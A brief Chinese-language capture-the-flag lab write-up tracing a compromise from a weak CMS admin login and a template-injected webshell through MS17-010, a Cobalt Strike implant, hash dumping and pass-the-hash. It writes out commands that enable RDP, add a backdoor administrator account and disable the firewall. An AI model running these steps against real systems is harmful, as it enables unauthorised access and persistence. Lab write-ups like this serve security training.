Cyberstrikelab-Lab7

BageCMS

#

fscan扫描到9652端口运行着CMS，版本大概率是3.1

进入/index.php?r=admini，通过弱密码：admin/admin123456进入到后台，编辑模板添加一句话木马

连接蚁剑，在根目录拿到flag1

开启RDP，添加后门用户

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
net user hack Admin@123 /add
net localgroup Administrators hack /add
netsh firewall set opmode disable

可以看到还存在192.168.20.10的段

MS17-010

#

搭建代理后进行内网扫描，发现存在MS17-010

直接读取flag3

PTH

#

添加完用户后走kali的xfreerdp上去关掉设置

然后才能在windows上通过代理连接（估计是我的电脑问题？？？？）

上传一个cs的定向木马，然后进行hashdump

因为是域控，可以进行PTH

在根目录拿到flag2

Reply by Email